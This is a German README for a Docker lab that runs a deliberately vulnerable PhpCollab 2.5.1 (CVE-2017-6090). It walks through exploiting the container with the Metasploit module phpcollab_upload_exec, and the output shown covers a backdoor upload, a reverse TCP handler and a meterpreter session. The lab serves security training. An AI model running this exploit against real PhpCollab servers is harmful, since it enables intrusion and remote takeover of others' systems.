
Containerisierte ausnutzbare PhpCollab
Dieses Projekt erstellt einen Container, der PhpCollab 2.5.1 ausführt und eine Remote-Codeausführungsschwachstelle enthält, wie in CVE-2017-6090 beschrieben. Zusätzlich gibt es eine docker-compose-Datei, um diesen Container und mysql zu starten und die Demo zu zeigen; die Anweisungen zum Ausnutzen der Schwachstelle findest du unten.
docker build -t containername . oder verwende das Image jlkinsel/exploit-cve-2017-6090
Am einfachsten bringst du das Ganze mit der beiliegenden Datei docker-compose.yml zum Laufen. Falls mir irgendwann langweilig wird – oder falls Interesse besteht – erstelle ich ein Kubernetes-Deployment oder einen Helm-Chart.
Um also loszulegen:
docker-compose up
So weit, so gut! Jetzt muss phpcollab konfiguriert werden, um die Datenbank zu verwenden, und es muss ein Standard-Admin-Passwort vergeben werden. Ich habe (kurz) versucht, das zu automatisieren, aber ... nun ja ... du siehst aus, als wüsstest du, wie man einen Browser benutzt ...
Schließlich kannst du dich anmelden und ein wenig umsehen, das ist für den Exploit aber nicht nötig.
Beachte, dass diese Docker-Composition nichts Besonderes für die Speicherung tut. Wenn du die mysql-Datenbank dauerhaft speichern möchtest, musst du der Definition des mysql-Dienstes in docker-compose.yml eine Volume-Definition hinzufügen. Beispiele findest du auf der mariadb Docker-Hub-Seite.
Zuerst – folge den Anweisungen unter Ausführen & Konfigurieren oben, um die Anwendung zum Laufen zu bringen.
Ich habe in diesem Projekt keinen Exploit hinzugefügt, denn ... nun ja, Metasploit.
Neu bei MSF? Hier ist ein kurzer Überblick über das Ausnutzen des Containers, den wir gerade gestartet haben:
docker run -ti --network exploitcve20176090_default remnux/metasploit
Das dauert ein paar Minuten, bis alles hochgefahren ist. Die Docker-Hub-Seite von remnux/metasploit beschreibt die Verwendung von Volumes, damit das in Zukunft nicht so lange dauert. Aber jetzt legen wir los!
Sobald du eine Shell-Eingabeaufforderung erhältst, machen wir weiter:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
An diesem Punkt bist du drin, und der Spaß kann beginnen.
Wenn der Name dieses Verzeichnisses nicht „exploit-CVE-2017-6090“ lautet, musst du den Befehl --network weiter oben ändern.
Außerdem – ja, wir haben den Remote-Port in msfconsole auf 80 gesetzt, obwohl er extern 8088 ist. Der Metasploit-Container befindet sich im selben Netzwerk wie der phpcollab-Container.
| Feld | Wert |
|---|
| Datenbankserver | mysql |
| Datenbank-Login | phpcollab |
| Datenbank-Passwort | changeme |
| Datenbankname | phpcollab |
| Benachrichtigungen | False |
| Admin-Passwort | changeme (oder was auch immer du möchtest) |